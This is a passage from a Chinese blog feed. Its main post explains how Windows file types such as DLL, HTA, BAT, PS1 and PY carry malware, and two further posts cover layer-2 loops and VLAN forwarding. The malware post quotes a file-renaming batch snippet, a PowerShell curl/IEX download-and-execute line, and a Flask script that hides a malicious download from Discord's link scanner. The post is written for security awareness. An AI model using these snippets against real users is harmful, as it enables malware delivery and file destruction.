href="http://t.zoukankan.com/Joy7-p-2698120.html">木马病毒</a>，以及这篇提到的<a href="https://cloud.tencent.com/developer/article/1613296">挖矿病毒</a>。</p><h2 id="支持文件"><a href="#支持文件" class="headerlink" title="支持文件"></a>支持文件</h2><h3 id="DLL"><a href="#DLL" class="headerlink" title="DLL"></a>DLL</h3><p>dll也是一种非常常见的文件类型，我就记得我以前玩游戏的时候，游戏客户端会遇到这样的错误：</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202209011637974.png" alt="dll缺失对话框（来自百度）"></p><p>原来dll是一类动态链接库，其最主要的作用是可以让别的程序或者进程调用一些公共的<strong>函数</strong>。那其实它危险的地方也在这里，我们可以在<a href="https://bazaar.abuse.ch/browse/">MalwareBazaar</a>看到不少dll病毒样本。究其原因还是dll文件中包含了可执行的程序。dll与exe最大的区别是，dll可以被不同的可执行文件调用，并且是动态的加载到内存中的（不懂）。</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202209011642986.png" alt="DLL病毒"></p><h3 id="OCX"><a href="#OCX" class="headerlink" title="OCX"></a>OCX</h3><p>一类ActiveX的可重复执行软件模块，与dll相同，ocx文件也可以被各类程序调用。这类可执行的文件都有一定的危险性，比如flash.ocx是利用Flash播放器的头部缓冲区溢出漏洞，恶意攻击者利用这个漏洞控制用户的计算机。CCRPBD.OCX、CCRPFD.OCX等控件都是被利用的对象。</p><h3 id="SYS"><a href="#SYS" class="headerlink" title="SYS"></a>SYS</h3><p>Windows系统运行的核心文件，包含了一系列的函数、系统设置、参数值，这篇<a href="https://sensorstechforum.com/remove-sys-virus/">文章</a>提到了一类以sys作为扩展名的勒索病毒软件。</p><h3 id="DRV"><a href="#DRV" class="headerlink" title="DRV"></a>DRV</h3><p>DRV文件是Windows操作系统用来连接硬件设备(外部和内部)并与其通信的驱动程序文件。它包含设备和操作系统如何相互通信的命令和参数。DRV文件还用于在计算机上安装设备驱动程序。同样的，也有勒索病毒或木马伪装成drv来进行攻击。</p><h3 id="HTA"><a href="#HTA" class="headerlink" title="HTA"></a>HTA</h3><p>HTA是一类可以由Windows执行的html应用，没错又是可执行文件，一般包含了可执行的js脚本。hta病毒的感染途径主要是邮件。下图是一个实例：</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202209011725634.png" alt="hta11"></p><p>这个脚本最主要的功能是从四个不同的网站下载勒索病毒软件。</p><h2 id="脚本文件"><a href="#脚本文件" class="headerlink" title="脚本文件"></a>脚本文件</h2><h3 id="BAT"><a href="#BAT" class="headerlink" title="BAT"></a>BAT</h3><p><del>百度、阿里、腾讯</del></p><p>bat是我们最常遇到的一类脚本，一个bat脚本包含了多个可以由cmd也就是命令行执行的指令，能够用来控制各类软件。<a href="https://gist.github.com/SnowLord7/370dc901f07621fdeb64ed461d7431ac">某个GitHub仓库</a>贴出了一段batch virus代码，这是其中的一部分。这个病毒主要被用来加密主机当中的各类文件。</p><pre class=" language-bash"><code class="language-bash">ren -<span class="token operator">=</span>- Encrypts files with a simple name <span class="token keyword">break</span> -<span class="token operator">=</span>-:encryptioncls <span class="token operator">&amp;</span> color 0a:CurrentREN *.cmd *.sI09REN *.exe *.1Je9REN *.log *.439aREN *.ini *.3KM1REN *.dll *.38JlREN *.bin *.3J81REN *.txt *.2M1AREN *.sys *.8j3JREN *.lnk *.9K2MREN *.png *.8J2nREN *.exe *.3hxD</code></pre><blockquote><p>评论里有一段很有趣的对话：</p><blockquote><p>wat does it do</p></blockquote><p>It makes you a sandwich</p></blockquote><h3 id="VBS"><a href="#VBS" class="headerlink" title="VBS"></a>VBS</h3><p>Virtual Basic script，资料里说Windows系统会使用它，IE会使用它，还有一个IIS（Internet Information Services，常用来做FTP服务器）也会使用它。VBS可以用了制成一种能够实现快速传播的蠕虫病毒，另外，VBS的编写还十分简单。典型的VBS病毒有<a href="https://baike.baidu.com/item/%E6%96%B0%E6%AC%A2%E4%B9%90%E6%97%B6%E5%85%89?fromModule=lemma_inlink">新欢乐时光</a>。</p><h3 id="WSH"><a href="#WSH" class="headerlink" title="WSH"></a>WSH</h3><p>包含特定脚本的属性和参数的文本文档，比如.VB或.VBS文件。结合上述对vbs文档的描述我们可以知道，wsh文件可能会帮助vbs文件发挥作用，换句话说，当你禁用了wsh的时候有些软件可能用不了，但同时有些恶意程序也不能运行。</p><h3 id="WSF"><a href="#WSF" class="headerlink" title="WSF"></a>WSF</h3><p>Windows脚本文件，也是一类可以执行的文件，<a href="https://medium.com/@networksecurity/ransomware-delivered-using-wsf-windows-script-file-551a6589da47">这篇文章</a>分享了一类以wsf为载体的勒索病毒，如下图，这个病毒的文件名也很有意思，是”MESSAGE_123123123123.doc(一堆空格).wsf“。文章中还提到了很多邮箱，比如outlook和exchange都不会拦截为wsf文件，从而让其有机可乘。</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202209020935572.jpeg" alt="WSF文件内容" style="zoom:50%;" /><h3 id="PS1"><a href="#PS1" class="headerlink" title="PS1"></a>PS1</h3><p>刚开始把这个文件的后缀名认成了PSI，结果一看是PS1文件。这类文件是Windows上power shell的脚本文件，包含了一系列可以执行的脚本。看了一下病毒库，ps1文件也是重灾区之一。比如下面这一段脚本，所执行的就是从某个IP下载恶意程序：</p><pre class=" language-powershell"><code class="language-powershell">curl https:<span class="token operator">/</span><span class="token operator">/</span>fastaccesone<span class="token punctuation">.</span>com<span class="token operator">/</span>load<span class="token operator">/</span>ntc_claim<span class="token punctuation">.</span>pdf <span class="token operator">-</span>o C:\users\public\ntc_claim<span class="token punctuation">.</span>pdfC:\users\public\ntc_claim<span class="token punctuation">.</span>pdf<span class="token function">IEX</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token function">new-object</span> net<span class="token punctuation">.</span>webclient<span class="token punctuation">)</span><span class="token punctuation">.</span>downloadstring<span class="token punctuation">(</span><span class="token string">'某美国ip'</span><span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre><h2 id="其他文件"><a href="#其他文件" class="headerlink" title="其他文件"></a>其他文件</h2><h3 id="MSI"><a href="#MSI" class="headerlink" title="MSI"></a>MSI</h3><p>msi文件包含了特定软件安装器所需要的文件、安装路径等信息，许多第三方软件也会用到该文件格式。比如Apple的bonjour。</p><blockquote><p>说实话我之前一直觉得这个文件和微星有些联系</p></blockquote><p>Malwarebazaar上有不少msi后缀的病毒样本，<a href="https://www.trendmicro.com/en_us/research/19/d/analysis-abuse-of-custom-actions-in-windows-installer-msi-to-run-malicious-javascript-vbscript-and-powershell-scripts.html">这篇文章</a>解释了其中一种病毒样本，该样本中隐藏了一部分vbs脚本，而且这些脚本竟然是被截断的，另一部分说不定被藏在别的什么地方。攻击者为了绕过安全检查简直是绞尽脑汁……</p><h3 id="PY"><a href="#PY" class="headerlink" title="PY"></a>PY</h3><p>终于遇到一个我熟悉的后缀名了，py是python文件的后缀名，然而我并不知道py文件也能做病毒。于是我去下载了一个病毒样本（没有恶意程序链接，放心食用）：</p><pre class=" language-python"><code class="language-python"><span class="token keyword">import</span> requests<span class="token punctuation">,</span> io<span class="token keyword">from</span> flask <span class="token keyword">import</span> Flask<span class="token punctuation">,</span> request<span class="token punctuation">,</span> send_fileapp <span class="token operator">=</span> Flask<span class="token punctuation">(</span>__name__<span class="token punctuation">,</span>  template_folder<span class="token operator">=</span><span class="token string">'templates'</span><span class="token punctuation">,</span>  static_folder<span class="token operator">=</span><span class="token string">'static'</span><span class="token punctuation">)</span>@app<span class="token punctuation">.</span>route<span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">,</span> methods<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">'GET'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>  Image <span class="token operator">=</span> <span class="token string">'YourImageLink'</span> <span class="token comment" spellcheck="true"># Replace this with your image link</span>  Malicious <span class="token operator">=</span> <span class="token string">'MaliciousFIleDownloadLink'</span><span class="token comment" spellcheck="true"># Replace this with your download link</span>  Redirect <span class="token operator">=</span> <span class="token string">"RedirectLink"</span> <span class="token comment" spellcheck="true"># You can just put the image here or you can put a custom site. You can combine this with my clipboard logger and it'll be more op lol https://github.com/TheonlyIcebear/Clipboard-Javascript-Logger</span>  <span class="token comment" spellcheck="true"># This is to get the ip</span>  <span class="token keyword">if</span> request<span class="token punctuation">.</span>environ<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'HTTP_X_FORWARDED_FOR'</span><span class="token punctuation">)</span> <span class="token keyword">is</span> None<span class="token punctuation">:</span>    ip <span class="token operator">=</span> request<span class="token punctuation">.</span>environ<span class="token punctuation">[</span><span class="token string">'REMOTE_ADDR'</span><span class="token punctuation">]</span>  <span class="token keyword">else</span><span class="token punctuation">:</span>    ip <span class="token operator">=</span> request<span class="token punctuation">.</span>environ<span class="token punctuation">[</span><span class="token string">'HTTP_X_FORWARDED_FOR'</span><span class="token punctuation">]</span>  <span class="token keyword">print</span><span class="token punctuation">(</span>ip<span class="token punctuation">)</span>  <span class="token keyword">if</span> ip<span class="token punctuation">.</span>startswith<span class="token punctuation">(</span><span class="token string">'35.'</span><span class="token punctuation">)</span> <span class="token operator">or</span> ip<span class="token punctuation">.</span>startswith<span class="token punctuation">(</span><span class="token string">'34.'</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token comment" spellcheck="true"># If discord is getting a link preview send a image</span>    <span class="token keyword">return</span> send_file<span class="token punctuation">(</span>    io<span class="token punctuation">.</span>BytesIO<span class="token punctuation">(</span>requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>Image<span class="token punctuation">)</span><span class="token punctuation">.</span>content<span class="token punctuation">)</span><span class="token punctuation">,</span>    mimetype<span class="token operator">=</span><span class="token string">'image/jpeg'</span><span class="token punctuation">,</span>    download_name<span class="token operator">=</span><span class="token string">'AnyName.png'</span><span class="token punctuation">)</span>  <span class="token keyword">else</span><span class="token punctuation">:</span>    <span class="token comment" spellcheck="true"># If a real person is clicking the link send a malicious file and redirect back to the image</span>    <span class="token keyword">return</span> f<span class="token string">''</span>'<span class="token operator">&lt;</span>meta http<span class="token operator">-</span>equiv<span class="token operator">=</span><span class="token string">"refresh"</span> content<span class="token operator">=</span><span class="token string">"0; url=&amp;#123;Malicious&amp;#125;"</span><span class="token operator">></span>  <span class="token comment" spellcheck="true"># Run the Flask app</span>  app<span class="token punctuation">.</span>run<span class="token punctuation">(</span>  host<span class="token operator">=</span><span class="token string">'0.0.0.0'</span><span class="token punctuation">,</span>  debug<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">,</span>  port<span class="token operator">=</span><span class="token number">8080</span>  <span class="token punctuation">)</span></code></pre><p>这个脚本搭建了一个服务来绕过discord对链接的检测。具体的做法是检测请求的ip，如果他是35.或者34.开头的，那就发回一张图片（这俩ip的属地都是美国，可能会有误判，但是discord海外用户很多，所以中招几率很大）。如果你不是这两ip，那你就倒霉了，当你点击链接时，你会开始下载恶意程序，然后立刻重新导向到一个别的网站（装作无事发生）。</p><h3 id="JAR"><a href="#JAR" class="headerlink" title="JAR"></a>JAR</h3><p>也就是我们常说的jar包，它可能被用作库，也有可能被用作一个单独的程序。因为是可执行的，所以也存在被攻击者利用的风险。我在找相关案例时找到了reddit上的一个<a href="https://www.reddit.com/r/talesfromtechsupport/comments/38aama/ha_ha_a_virus_written_in_java_thats_cute_must_be/">帖子</a>：</p><p>受害人大哥是一所学校的网管，有天退休的体育部行政助理，一个六十几的老太太，联系他，说自己电脑中病毒了。大哥去她住处检查她的电脑，发现了一个“.jar“后缀的病毒，他当时觉得这个病毒看起来人畜无害的，删了就完事了。没想到一周后老太太的银行账户被盗了，原来是这个jar包已经自己复制了好几份。老太太遂又求助于网管大哥，大哥认为这次十分彻底地清理干净了病毒。没想到一周后，学校里很多人都收到了以老太太名义发送的邮件。要知道老太太是退休前是行政助理啊，通讯录里头有不少人的email地址。这封邮件大概是这样的：</p><blockquote><p>From: AthAA</p><p>To: <strong>All Faculty and Staff</strong></p><p>Subject: <strong>IMPORTANT</strong></p><p>Please refer to the attachment carefully</p><p>Thank you</p><p>Attachment: <strong>Payment_Invoice.JAR</strong></p></blockquote><p>很多人都点开了附件里的jar包，不过万幸只有Windows用户中招（🐶），因为mac有验证，Chromebook和移动端运行不了。这场事故大概影响到了二十多个人，大哥最后总结说：</p><blockquote><p>Don’t judge a book (virus) by its cover.</p><p>不要以貌取毒</p></blockquote><h3 id="CMD"><a href="#CMD" class="headerlink" title="CMD"></a>CMD</h3><p>与bat文件差不多，cmd也存储了一堆命令行脚本，攻击者用它来破环你电脑里的文件。</p><h3 id="MSC"><a href="#MSC" class="headerlink" title="MSC"></a>MSC</h3><p>添加到Microsoft管理控制台(MMC)的文件，该程序用于配置和监视Windows计算机系统；简单来说，可以通过编辑和修改msc文件来实现对系统功能的修改，当然攻击者也有可能利用他来篡改系统设置。这位就在<a href="https://answers.microsoft.com/en-us/windows/forum/all/a-virus-has-changed-my-servicesmsc-and-it-wont-let/0549add5-c254-40d3-b623-ebcfdd9e1741">求助贴</a>中说自己的msc服务被篡改了，很多服务和程序启动不了。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>写了这么多，总结一下这些敏感文件为什么要防护起来：</p><ul><li>可执行文件是是病毒程序的执行者，当然要防范起来。</li><li>可执行文件会把自己藏在各种各样不同类型的文件中，一方面绕过检测，另一方面诱导用户去执行。</li><li>Windows的注册表、控制面板等是重灾区。</li><li>邮件是病毒传播的主要途径，不要随便点开可疑链接和程序，即便它来自你认识的人。</li><li>不要以貌取毒😂</li></ul><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p>这个网站解释了各类后缀名：<a href="https://fileinfo.com/extension/exe">https://fileinfo.com/extension/exe</a></p><p>这个网站可以让你在线浏览各种恶意软件：<a href="https://bazaar.abuse.ch/browse/">https://bazaar.abuse.ch/browse/</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;总结一下下面这几类敏感文件的作用，以及攻击者是如何利用这类文件危害终端安全的。&lt;/p&gt;
&lt;h2 id=&quot;可执行文件&quot;&gt;&lt;a href=&quot;#可执行文件&quot; class=&quot;headerlink&quot; title=&quot;可执行文件&quot;&gt;&lt;/a&gt;可执行文件&lt;/h2&gt;&lt;h3 id=&quot;EXE&quot;&gt;&lt;</summary>
      
    
    
    
    <category term="学习" scheme="https://sandship.fun/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="Windows" scheme="https://sandship.fun/tags/Windows/"/>
    
    <category term="终端安全" scheme="https://sandship.fun/tags/%E7%BB%88%E7%AB%AF%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>二层转发中的冗余链路（环路）</title>
    <link href="https://sandship.fun/post/a690.html"/>
    <id>https://sandship.fun/post/a690.html</id>
    <published>2022-08-22T13:35:00.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208221353972.svg" alt="冗余链路问题"></p><p>在上面所示的拓扑图中，我们设置了一条冗余的链路（蓝色），当其中一条链路出现问题时，另一条链路可以作为备用链路顶替上去，可以说这是一种防灾的措施。然而如果直接将上述措施应用在实际的网络中，会出现以下诸类问题。</p><p>STP可以解决由冗余链路引发的问题，简单来说，STP实现了不改变物理连接的同时“阻塞”冗余链路。这篇文章主要讨论各类问题，对STP的原理咱先不展开讨论，详情可参考这篇文章。</p><p>此外Smart Link、ETH-Trunk、设备堆叠也是防止环路问题的可用手段。</p><h2 id="广播风暴"><a href="#广播风暴" class="headerlink" title="广播风暴"></a>广播风暴</h2><p>和IP包不同的是，数据链路层所转发的数据包并没有TTL（Time to Live），也就是说一个数据包有可能在网络中被无限转发下去，直到到达目的mac地址。倘若一个局域网中存在环路，那么这些被交换机无限转发的数据包便会形成<strong>“广播风暴”</strong>，结合拓扑图来分析广播风暴的形成过程。</p><ol><li>问题始于PC1所发出的一段广播帧（有可能为ARP请求），<em>Fa0&#x2F;1</em>端口首先接收到了该请求。</li><li>按照二层转发的流程，SW1首先会更新PC1的在mac地址表中的信息。</li><li>SW1将该广播帧转发至除入端口之外的所有端口。</li><li>SW2的<em>Fa0&#x2F;24</em>、<em>Fa0&#x2F;23</em>都会收到来自SW1的广播帧。</li><li>对SW2的Fa0&#x2F;24而言，广播帧的信息要通过其他端口转发出去，其中就包括了与<em>Fa0&#x2F;24</em>相连的SW1的<em>Fa0&#x2F;23</em>端口。同理，SW2的<em>Fa0&#x2F;23</em>也会将数据帧转发到SW1的<em>Fa0&#x2F;23</em>。</li><li>由于数据链路层的广播帧没有TTL，它会一直在这个环路里不停的转发。简直是<strong>”此恨绵绵无绝期“</strong>。</li></ol><h2 id="mac地址表不稳定"><a href="#mac地址表不稳定" class="headerlink" title="mac地址表不稳定"></a>mac地址表不稳定</h2><p>我们都知道，二层转发中的mac地址表是依据数据帧中的源mac地址更新的，那么随着上面的广播风暴的发生，mac地址表中的数据也会变得不稳定。结合实例来说明：</p><ol><li><p>当PC1发出的广播帧到达<em>Fa0&#x2F;1</em>时，SW1更新它的mac地址表。</p></li><li><p>广播帧经由<em>Fa0&#x2F;23</em>和<em>Fa0&#x2F;24</em>转发。</p><blockquote><p><strong>帧经过交换机时，其源、目标MAC是不会变的（数据帧在交换机之间转发）</strong></p></blockquote></li><li><p>两个广播帧不会同时到达SW2，假设SW1-<em>Fa0&#x2F;23</em>端口转发的广播帧先到达，那此时SW2就会将PC1的mac地址和SW2-<em>Fa0&#x2F;24</em>绑定</p></li><li><p>没一会儿，SW1-<em>Fa0&#x2F;24</em>发出的帧到达了SW2-<em>Fa0&#x2F;23</em>，SW2的mac地址表就需要更新绑定关系。如此你来我往，可谓是一场<strong>极限拉扯</strong>。</p></li><li><p>每次更新mac地址表都需要写入缓存，因此mac地址表的震荡会引起交换机性能的下降。</p></li></ol><h2 id="重复帧拷贝"><a href="#重复帧拷贝" class="headerlink" title="重复帧拷贝"></a>重复帧拷贝</h2><p>那如果PC1不发广播帧了，只发一个目标是PC3的单播帧的话，还会有问题发生吗？</p><p>当然，不发生是不可能的🐶</p><p>我们来还原一下：</p><ol><li>PC1向PC3发送一个单播帧，它首先要把该帧发送给SW1-<em>Fa0&#x2F;1</em>。</li><li>如果此时Fa0&#x2F;1恰好不知道PC3的端口映射，那它就只好把这个帧广播出去。</li><li>SW2-<em>Fa0&#x2F;23</em>和SW2-<em>Fa0&#x2F;23</em>都会收到一个单播帧，此时假设SW2的mac地址表记录了PC3与端口SW2*-Fa0&#x2F;1*相连。</li><li>那么两个端口的单播帧都将被转发给PC3，一次通信，两个数据帧。不得不说，<strong>你给的太多了</strong>。</li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;img src=&quot;https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208221353972.svg&quot; alt=&quot;冗余链路问题&quot;&gt;&lt;/p&gt;
&lt;p&gt;在上面所示的拓扑图中，我们设置了一条冗余的链路（蓝色），当其中一条链路出现问</summary>
      
    
    
    
    <category term="学习" scheme="https://sandship.fun/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="计算机网络" scheme="https://sandship.fun/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"/>
    
    <category term="二三层转发" scheme="https://sandship.fun/tags/%E4%BA%8C%E4%B8%89%E5%B1%82%E8%BD%AC%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>浅浅分析一下二三层转发的原理</title>
    <link href="https://sandship.fun/post/ee2e.html"/>
    <id>https://sandship.fun/post/ee2e.html</id>
    <published>2022-08-18T09:34:00.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<h2 id="基础概念"><a href="#基础概念" class="headerlink" title="基础概念"></a>基础概念</h2><p>都在说二三层转发，那这二层和三层是什么呢？</p><p>三层指的是<strong>网络层</strong>，二层指的是<strong>数据链路层</strong></p><p>可见，二层转发指的是同一个网段下的设备进行通信的过程，而三层转发指的是跨网段设备之间的通讯过程。</p><p>如图，主机1和主机2之间的通讯属于二层转发，但主机1要与主机A通讯时，它们并不在同一个子网，因此他俩之间的通讯属于三层转发流程。</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208191459899.svg" alt="二三层转发"></p><h2 id="二层转发流程"><a href="#二层转发流程" class="headerlink" title="二层转发流程"></a>二层转发流程</h2><h3 id="普通的转发流程"><a href="#普通的转发流程" class="headerlink" title="普通的转发流程"></a>普通的转发流程</h3><p>一般的二层转发流程是比较好理解的，主要有以下几个步骤：</p><ol><li>已知单播-转发：交换机在MAC地址表中查找数据帧中的<strong>目的MAC地址</strong>，如果找到，就将该数据帧发送到相应的端口</li><li>未知单播-泛洪：如果找不到，就向入端口以外的其它<strong>所有端口</strong>发送；</li><li>同端口-不转发：如果交换机收到的报文中源MAC地址和目的MAC地址所在的端口相同，则丢弃该报文；</li><li>组播和广播-泛洪：交换机向入端口以外的其它所有端口转发广播报文。</li></ol><h3 id="基于VLAN的转发流程"><a href="#基于VLAN的转发流程" class="headerlink" title="基于VLAN的转发流程"></a>基于VLAN的转发流程</h3><h4 id="VLAN是什么？"><a href="#VLAN是什么？" class="headerlink" title="VLAN是什么？"></a>VLAN是什么？</h4><p>每种技术的出现都是为了解决一个实际的问题，那vlan的出现是为了解决哪一类问题呢？首先我们从理解它的名字开始，VLAN（Virtual Local Area Network）中的LAN特指的是由路由器分割而成的广播域。既然已经有了广播域，那为什么还要“虚拟”它呢？</p><p>举个例子，假设一个广播域（局域网）下有1000台电脑，每台主机都可以通过IP协议进行通信，其中一个主机1要向主机2通信，假设主机1尚未学习到主机2的mac地址，那主机1就要向整个广播域发送ARP报文，如图：</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208171649879.png" alt="ARP报文格式"></p><p>当主机1一直没有找到主机2的mac地址时，ARP请求可能会被转发到同一网络中的所有电脑，这既消耗了带宽，又会对接收请求的主机CPU产生负担，造成了<strong>广播泛滥</strong>和<strong>性能下降</strong>。</p><p>在这种情况下出现了VLAN技术。这种技术可以把一个LAN划分成多个逻辑的VLAN，每个VLAN是一个广播域，VLAN内的主机间通信就和在一个LAN内一样，而VLAN间则不能直接互通，广播报文就被<strong>限制在一个VLAN</strong>内。</p><h4 id="VLAN是如何划分的？"><a href="#VLAN是如何划分的？" class="headerlink" title="VLAN是如何划分的？"></a>VLAN是如何划分的？</h4><p>为了让交换机能够区分不同VLAN的报文，需要在报文中添加一些<strong>特殊字段</strong>：VLAN标签。</p><p><img src="https://download.huawei.com/mdl/image/download?uuid=6b7f04dbe20643d3a42fe55ad4eb6cef" alt="IEEE 802.1Q封装的VLAN数据帧格式"></p><blockquote><p>TPID：用于标记该帧是否带有VLAN标签。</p></blockquote><p>如上图所示，VID就标明了VLAN的ID，其范围是0～4095，其中0和4095保留，也就是说同一个广播域下可以分成4094个VLAN。这些标记的存在，意味着但VLAN要与外部网络通讯时，交换机需要能够<strong>剥离和插入</strong>VLAN标签。</p><h4 id="VLAN端口"><a href="#VLAN端口" class="headerlink" title="VLAN端口"></a>VLAN端口</h4><p>要想知道VLAN是如何工作的，我们还需要了解一下些额外的知识</p><p>上文提到了交换机需要能够剥离和插入VLAN标签，执行哪些操作都根据其端口的类型（工作模式）确定。这些工作模式具体包括：Access、Trunk和Hybrid。</p><p><strong>Access 端口：</strong>交换机上连接用户主机的端口，只能连接接入链路。Access 端口<strong>只属于一个 VLAN</strong>，且仅向该 VLAN 转发数据帧。该 VLAN 的 Vid &#x3D; 端口 PVid，故 VLAN 内所有端口都处于 untagged 状态。Access 端口在从主机接收帧时，给帧加上 Tag 标签; 在向主机发送帧时，将帧中的 Tag 标签剥掉。</p><p><strong>Trunk 端口：</strong>交换机上与其他交换机或路由器连接的端口，只能连接<strong>汇聚链路</strong>。Trunk 端口允许多个 VLAN 的带标签帧通过，在收发帧时保留 Tag 标签。在它所属的这些 VLAN 中，对于 Vid &#x3D; 端口 PVid 的 VLAN，它处于 Untagged port 状态; 对于 Vid ≠ 端口 PVid 的 VLAN，它处于 Tagged port 状态。</p><p><strong>Hybrid 端口：</strong>交换机上既可连接用户主机又可连接其他交换机的端口，<strong>它既可连接接入链路又可连接汇聚链路</strong>。Hybrid 端口允许多个 VLAN 的帧通过，并可在出端口方向将某些 VLAN 帧的 Tag 标签剥掉。</p><p>这张表虽然不太清晰，但是清晰地说明了三种端口的区别：</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208191045347.jpg" alt="三类VLAN端口工作模式"></p><h4 id="基于VLAN的二层转发"><a href="#基于VLAN的二层转发" class="headerlink" title="基于VLAN的二层转发"></a>基于VLAN的二层转发</h4><p>基于VLAN的二层转发主要可以分为三个步骤，首先确定和查找VLAN，再查找和学习源MAC，最后查找目的MAC并转发数据帧</p><h5 id="1-确定和查找VLAN："><a href="#1-确定和查找VLAN：" class="headerlink" title="1) 确定和查找VLAN："></a>1) 确定和查找VLAN：</h5><p>交换机端口接收到一个数据帧时，首先通过TPID值判断该帧是否带标签。</p><p>若是tagged帧，且Vid≠0，则在端口所属的VLAN表中查找该帧标签中的Vid是否存在，若存在，则进入下一步，否则丢弃该帧(或提交CPU处理);</p><p>若是tagged帧，且Vid&#x3D;0(即priority帧)，则对该帧附加端口PVid使之成为tagged帧;</p><p>若是untagged帧，则对该帧附加端口PVid并指定优先级使之成为tagged帧。</p><p>注：802.1Q VLAN环境下，帧可分为tagged、untagged和priority-tagged三种。Tagged帧根据其携带的标签Vid进行MAC学习转发。Untagged和Priority-tagged帧进入交换机端口后根据PVid进行MAC学习转发。</p><h5 id="2-查找和学习源MAC"><a href="#2-查找和学习源MAC" class="headerlink" title="2) 查找和学习源MAC"></a>2) 查找和学习源MAC</h5><p>交换机在MAC转发表(<strong>Mac+Vid+Port</strong>)中查找收帧Vid对应的源MAC表项，未找到则学习收帧源MAC (将“源MAC+Vid+Port”添加到MAC表中)；若找到则更新该表项的老化时间。</p><p>注：<strong>MAC地址学习只学习单播地址</strong>，对于广播和组播地址不进行学习。组播MAC表项通过CPU配置建立。</p><h5 id="3-查找目的MAC"><a href="#3-查找目的MAC" class="headerlink" title="3) 查找目的MAC"></a>3) 查找目的MAC</h5><p>若目的MAC是广播或组播，则在所属的VLAN中广播或组播；否则在MAC表中查找是否存在Vid对应的目的MAC表项。</p><h5 id="4-转发数据帧"><a href="#4-转发数据帧" class="headerlink" title="4) 转发数据帧"></a>4) 转发数据帧</h5><p>若在MAC表中查找到完全匹配的DMAC+Vid表项，则将该帧转发到表项中的相应端口(若相应端口为收帧端口，则应丢弃该帧)；否则向所属VLAN内除收包端口外的其他所有端口洪泛该帧(洪泛广播的是未知单播帧而不是广播帧)。</p><h4 id="基于VLAN的二层转发实例"><a href="#基于VLAN的二层转发实例" class="headerlink" title="基于VLAN的二层转发实例"></a>基于VLAN的二层转发实例</h4><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208191458767.svg" alt="VLAN下的二层转发"></p><p>假设交换机1和2刚断电重启，现在两台机器的mac地址表都为空，现在主机A要和主机C通讯，也就是跨交换机的通讯，其具体过程为：</p><ol><li><p>A发送的数据帧进入到1的Access端口，根据该端口的工作模式，将该帧标记上PVid并进行转发。</p></li><li><p>交换机1将A的mac地址记入mac地址表，并将该帧泛洪到所有Vid&#x3D;100的端口（除了入端口）。</p><blockquote><p>这里就体现了VLAN的作用</p></blockquote></li><li><p>交换机1的Trunk端口属于Vid&#x3D;100的VLAN，故该端口会接收到上述数据帧。同时，该端口在Vid&#x3D;100上为Tagged port，因此在发送数据帧出交换机1时，不改变Tagged帧的结构。</p></li><li><p>Tagged帧到达Vid&#x3D;100的Trunk端口，被接收，同样不改变帧结构。</p></li><li><p>交换机2学习到源mac地址，并将其泛洪给所有Vid&#x3D;100的端口（入口除外）。</p></li><li><p>交换机2的Access端口接收到Tagged帧，剥除其标签后查找目的mac（泛洪），在找到C的mac地址后，学习并记录，将数据帧发送给C。</p><blockquote><p>这里参考网页出错了，重启之后没有mac地址表，故不能之间将数据帧转发给C</p></blockquote></li><li><p>C收到A发送的数据帧，并发送响应帧给PC1。</p></li><li><p>响应帧经过类似的过程发送给A，由于A的mac记录已经被记录在了mac地址表中，故响应帧仅转发给A。</p></li></ol><h2 id="三层转发流程"><a href="#三层转发流程" class="headerlink" title="三层转发流程"></a>三层转发流程</h2><h3 id="ARP"><a href="#ARP" class="headerlink" title="ARP"></a>ARP</h3><p>三层转发的一个重要基础设施是ARP，即地址解析协议，实现通过IP地址到物理地址的映射。在以太网协议中规定，同一局域网中的一台主机要和另一台主机进行直接通信，必须要知道目标主机的MAC地址，而在TCP&#x2F;IP协议栈中网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时，数据链路层的以太网协议接到上层IP协议提供的数据中，<strong>只包含目的主机的IP地址</strong>。于是需要一种方法，根据目的主机的IP地址，获得其MAC地址。这就是ARP协议要做的事情。</p><h3 id="三层转发实例"><a href="#三层转发实例" class="headerlink" title="三层转发实例"></a>三层转发实例</h3><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208191459899.svg" 